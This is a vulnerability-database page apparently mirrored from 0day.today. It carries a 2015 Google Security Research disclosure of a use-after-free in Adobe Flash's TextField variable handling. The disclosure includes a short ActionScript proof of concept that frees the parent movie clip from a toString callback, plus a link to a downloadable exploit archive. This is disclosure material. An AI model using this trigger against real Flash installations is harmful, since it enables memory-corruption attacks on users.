Lucene search
K

Adobe Flash TextField Variable - Use-After Free

🗓️ 18 Dec 2015 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 26 Views

Adobe Flash TextField Use-After Free vulnerabilit

Related
Code
Source: https://code.google.com/p/google-security-research/issues/detail?id=583
 
If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:
 
var mc = this.createEmptyMovieClip("mc", 301);
var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100); 
trace(my_txt);
my_txt.variable = "today_date"; 
mc.today_date = "blah"; 
var times = 0;
  
var date_interval:Number = setInterval(updateDate, 500);
  
function updateDate() { 
    mc.today_date = {toString : func}; 
}
 
function func(){
    if(times == 0){
        times++;
        mc.removeMovieClip();
    }
 
    return "test";
     
    }
 
A sample fla and swf are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39049.zip

#  0day.today [2018-03-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2015 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.77915
26